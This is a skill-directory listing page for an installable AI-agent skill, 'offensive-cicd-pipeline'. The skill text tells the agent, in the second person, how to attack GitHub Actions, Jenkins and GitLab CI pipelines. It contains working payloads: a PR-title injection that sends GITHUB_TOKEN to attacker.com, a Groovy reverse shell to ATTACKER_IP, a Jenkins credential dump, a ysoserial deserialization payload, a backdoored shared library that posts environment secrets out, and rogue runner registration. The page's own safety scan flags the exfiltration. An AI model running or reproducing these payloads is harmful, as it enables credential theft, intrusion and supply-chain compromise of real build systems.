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offensive-cicd-pipeline

Comprehensive CI/CD pipeline exploitation methodology covering GitHub Actions injection vectors (expression injection via PR titles and issue bodies, workflow_run event abuse, GITHUB_TOKEN over-scoping, composite action supply chain compromise), Jenkins attack paths (Groovy sandbox escapes, script c…

Install / Use

npx skills add SnailSploit/Claude-Red --skill offensive-cicd-pipeline

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

96/100

Category

Security

Supported Platforms

Universal

Our assessment of offensive-cicd-pipeline

offensive-cicd-pipeline scores 96/100 on our quality scale, 177th of 1,108 Security skills we index (top 16%).

Its SKILL.md is 20 KB long, well organised into 65 sections with 21 code examples: a thorough specification that gives an agent plenty to work with.

With 6,850 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
30/30
Structure
20/20
Description
15/15
Adoption
16/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated about 2 months ago, so offensive-cicd-pipeline is actively maintained.
  • Our last check on 2026-11-15 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

Warning

Our scan of the whole file found 1 high-risk pattern. Read the lines below before installing offensive-cicd-pipeline, and do not run it with automatic approvals. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to exfiltrate secrets and tokens (e.g., 'curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN)', dumping Jenkins credentials, extracting GitLab/Azure DevOps variables).

  • highReads private keys or cloud credentialsline 267
    cat ~/.docker/config.json 2>/dev/null || true

AI review: risky

  • The skill instructs the agent to exfiltrate secrets and tokens (e.g., 'curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN)', dumping Jenkins credentials, extracting GitLab/Azure DevOps variables).
  • It provides concrete payloads for unauthorized code execution and persistence, including Jenkins reverse shells, Groovy sandbox escapes, rogue GitLab runner registration, and backdoored Docker images.
  • It directs artifact poisoning and supply-chain compromise (e.g., modifying build artifacts, injecting malicious layers, poisoning shared caches) to distribute malware through CI/CD outputs.

AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-09-29. Automated pattern scan on 2026-09-28. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

offensive-cicd-pipeline compared with similar skills

All 4 of these similar skills score higher than offensive-cicd-pipeline; compare them before choosing.

SkillScoreStarsUpdatedFormat
offensive-cicd-pipeline (this skill)by SnailSploit966.8k58d agoSKILL.md
Agent-Reachby Panniantong100112.3k8d agoCLAUDE.md
x402by browser-use100121.0k3d agoSKILL.md
algorithmic-artby anthropics100177.9k55d agoSKILL.md
pptxby anthropics100177.9k55d agoSKILL.md

Frequently asked questions

How do I install offensive-cicd-pipeline?
Run npx skills add SnailSploit/Claude-Red --skill offensive-cicd-pipeline. The install tabs above show the steps for each supported agent.
Which AI agents does offensive-cicd-pipeline work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is offensive-cicd-pipeline safe to use?
Our scan of the whole file found 1 high-risk pattern. Read the lines below before installing offensive-cicd-pipeline, and do not run it with automatic approvals. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to exfiltrate secrets and tokens (e.g., 'curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN)', dumping Jenkins credentials, extracting GitLab/Azure DevOps variables). It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is offensive-cicd-pipeline still maintained?
The repository was last updated about 2 months ago, so offensive-cicd-pipeline is actively maintained.

name: offensive-cicd-pipeline description: "Comprehensive CI/CD pipeline exploitation methodology covering GitHub Actions injection vectors (expression injection via PR titles and issue bodies, workflow_run event abuse, GITHUB_TOKEN over-scoping, composite action supply chain compromise), Jenkins attack paths (Groovy sandbox escapes, script console remote code execution, Java remoting deserialization, credential store dumping, shared library injection), GitLab CI exploitation (YAML anchor injection, runner registration token abuse, CI variable extraction, protected branch bypass via merge request pipelines), and Azure DevOps pipeline agent compromise with service connection theft. Includes artifact poisoning techniques across all platforms, tooling guidance for gato and jenkins-attack-framework, and maps to MITRE ATT&CK T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain). Covers enumeration of pipeline configurations, privilege escalation from contributor to code execution, lateral movement through pipeline trust boundaries, and persistence via modified workflow definitions. Each technique section provides working exploitation code, detection indicators, and defensive countermeasures."

Offensive CI/CD Pipeline Exploitation

CI/CD pipelines represent one of the highest-value targets in modern infrastructure. A compromised pipeline grants code execution in trusted contexts, access to deployment credentials, and the ability to inject malicious code into production artifacts. You exploit the implicit trust that organizations place in their build systems -- pipelines run code with elevated privileges, hold secrets for deployment, and operate with minimal monitoring compared to production systems.

This skill covers exploitation across the four dominant CI/CD platforms. You enumerate pipeline configurations, identify injection points, escalate from contributor-level access to arbitrary code execution, and leverage pipeline trust to move laterally through environments.

MITRE ATT&CK: T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain)

Quick Workflow

  1. Enumerate accessible repositories and their pipeline configurations (.github/workflows/, Jenkinsfile, .gitlab-ci.yml, azure-pipelines.yml).
  2. Identify the trigger model -- which events execute pipelines, and which contexts carry attacker-controlled input.
  3. Map token scopes and available secrets for each pipeline context.
  4. Select the injection vector matching your access level (contributor, external PR, authenticated user).
  5. Craft the payload for the target platform's expression language or script engine.
  6. Execute and capture output -- secrets, tokens, or artifact modification.
  7. Pivot using captured credentials to expand access to other pipelines, registries, or infrastructure.

GitHub Actions Expression Injection

GitHub Actions evaluates expressions in ${{ }} contexts. When attacker-controlled data flows into these expressions without sanitization, you achieve arbitrary command injection in the runner context.

The most common injection surfaces are PR titles, issue bodies, branch names, and commit messages that flow into run: steps or action inputs.

Identify vulnerable workflows by searching for direct interpolation of event data:

# Search for expression injection sinks in workflow files
grep -rn '\${{.*github\.event\.' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.pull_request\.title' .github/workflows/
grep -rn '\${{.*github\.event\.issue\.body' .github/workflows/
grep -rn '\${{.*github\.event\.comment\.body' .github/workflows/
grep -rn '\${{.*github\.event\.discussion\.body' .github/workflows/

A vulnerable workflow looks like this:

# Vulnerable: PR title flows directly into shell execution
name: PR Greeting
on: pull_request_target
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "Thanks for PR: ${{ github.event.pull_request.title }}"

You inject through the PR title:

"; curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #

For workflow_run abuse, a workflow triggered by workflow_run runs in the context of the default branch but can access artifacts from the triggering workflow. You upload a poisoned artifact from a PR workflow, then the workflow_run workflow processes it with elevated privileges:

# Attacker's PR modifies the artifact upload step
- uses: actions/upload-artifact@v4
  with:
    name: pr-data
    path: payload.sh

# The workflow_run handler in the default branch processes artifacts unsafely
on:
  workflow_run:
    workflows: ["PR Build"]
    types: [completed]
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
      - run: bash pr-data/payload.sh  # Executes attacker's code with write access

Enumerate GITHUB_TOKEN permissions to understand your execution scope:

# Inside a compromised workflow step, dump token permissions
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
  -H "Accept: application/vnd.github+json" \
  https://api.github.com/repos/$GITHUB_REPOSITORY | jq '.permissions'

# Check if the token can push to the repository
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
  https://api.github.com/repos/$GITHUB_REPOSITORY/git/refs/heads/main

Composite action supply chain attacks target reusable actions referenced without SHA pinning:

# Vulnerable: references a tag that can be force-pushed
- uses: org/custom-action@v1

# Secure: references an immutable commit SHA
- uses: org/custom-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2

Use gato to enumerate and exploit GitHub Actions misconfigurations:

# Enumerate self-hosted runners and vulnerable workflows
gato enumerate -t ghp_TOKENHERE -r org/repo
gato enumerate -t ghp_TOKENHERE -o target-org

# Search for expression injection across an organization
gato search -t ghp_TOKENHERE -o target-org -sg

Jenkins Exploitation

Jenkins presents a broad attack surface through its script console, build configurations, shared libraries, and the Java remoting protocol. You target Jenkins when you discover it exposed on the network or when you obtain any level of authenticated access.

Groovy Script Console RCE

If you have access to the script console (requires Overall/RunScripts permission), you have unrestricted code execution on the Jenkins controller:

// Direct command execution via script console
def cmd = "id && cat /etc/passwd".execute()
println cmd.text

// Reverse shell from Jenkins controller
def proc = ["bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"].execute()

// Read Jenkins secrets directly
import hudson.util.Secret
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials

def creds = CredentialsProvider.lookupCredentials(
    StandardUsernamePasswordCredentials.class,
    Jenkins.instance, null, null
)
creds.each { c ->
    println("ID: ${c.id}")
    println("Username: ${c.username}")
    println("Password: ${c.password.plainText}")
    println("---")
}

Groovy Sandbox Escape

Pipeline scripts run in a Groovy sandbox, but you bypass it through meta-programming and reflection:

// Sandbox escape via meta-class manipulation
@Grab('commons-io:commons-io:2.11.0')
import org.apache.commons.io.IOUtils

// Bypass via method pointer and reflection
def bypass = evaluate('''
class Evil {
    static void main(String[] args) {}
    static Object run() {
        def proc = "id".execute()
        return proc.text
    }
}
Evil.run()
''')
println bypass

Jenkins Remoting Deserialization

When the Jenkins remoting port (typically 50000) is exposed, you exploit Java deserialization vulnerabilities:

# Identify Jenkins remoting port
nmap -sV -p 50000 TARGET_IP

# Use ysoserial to generate deserialization payloads
java -jar ysoserial.jar CommonsCollections1 'curl http://ATTACKER_IP/pwned' > payload.bin

# Deliver via the JNLP protocol
python3 jenkins_exploit.py --target TARGET_IP:50000 --payload payload.bin

Shared Library Injection

Jenkins shared libraries loaded via @Library are a supply chain vector. If you compromise the library repository, every pipeline using it executes your code:

// Malicious shared library vars/deploy.groovy
def call(Map config) {
    // Original functionality preserved to avoid detection
    sh "kubectl apply -f ${config.manifest}"

    // Injected exfiltration
    sh '''
        env | base64 | curl -X POST -d @- https://attacker.com/collect
    '''
}

Use jenkins-attack-framework for systematic exploitation:

# Enumerate Jenkins instance
python3 jaf.py --url https://jenkins.target.com --enumerate

# Dump all credentials with valid session
python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123" --dump-creds

# Execute command via available build nodes
python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123" \
  --exec "whoami" --node "linux-build-01"

GitLab CI Exploitation

GitLab CI pipelines execute based on .gitlab-ci.yml and support powerful features that create exploitation opportunities. You target variable injection, runner abuse, and trust boundary violations between merge requests and protected branches.

YAML Injection via Merge Requests

When a project allows merge request pipelines from forks, the attacker's .gitlab-ci.yml executes on the target's runners:

# Attacker's .gitlab-ci.yml in a fork
stages:
  - exploit

dump_secrets:
  stage: exploit
  script:
    - env | sort
    - cat /etc/hosts
    - curl -sS --header "PRIVATE-TOKEN: $CI_JOB_TOKEN" \
        "https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | python3 -m json.tool
    - |
      # Attempt to read secrets from runner filesystem
      find / -name "*.env" -o -name "credentials" -o -name "*.key" 2>/dev/null | head -20
      cat ~/.docker/config.json 2>/dev/null || true

Runner Registration Token Abuse

If you obtain a runner registration token, you register a rogue runner that intercepts jobs:

# Register a malicious runner with broad tag matching
gitlab-runner register \
  --non-interactive \
  --url "https://gitlab.target.com/" \
  --registration-token "GR1348941_STOLEN_TOKEN" \
  --executor "shell" \
  --description "build-node-07" \
  --tag-list "docker,linux,build,deploy" \
  --run-untagged="true"

# The rogue runner now receives jobs and can:
# 1. Capture all environment variables including secrets
# 2. Modify build artifacts before they are published
# 3. Inject code into deployment payloads

CI Variable Extraction

Enumerate and extract CI/CD variables using the API with a compromised token:

# List project-level variables
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
  "https://gitlab.target.com/api/v4/projects/PROJECT_ID/variables" | jq '.[] | {key, value, protected, masked}'

# List group-level variables (inherited by all projects)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
  "https://gitlab.target.com/api/v4/groups/GROUP_ID/variables" | jq '.[] | {key, value}'

# Instance-level variables (requires admin)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
  "https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'

Protected Branch Bypass

Exploit the gap between merge request pipelines and branch pipelines to run code in protected contexts:

# Create a merge request that modifies .gitlab-ci.yml
# The MR pipeline runs with the source branch's CI config
# but in the context of the target project's runners and variables

# If the project has "Run pipelines for merge requests from forked projects" enabled,
# your fork's .gitlab-ci.yml executes on their infrastructure
git checkout -b exploit-branch
cat > .gitlab-

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars6.8k
CategorySecurity
Updated1mo ago
Forks896

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions
offensive-cicd-pipeline — Universal Skill: Install & Safety Check | SkillAgent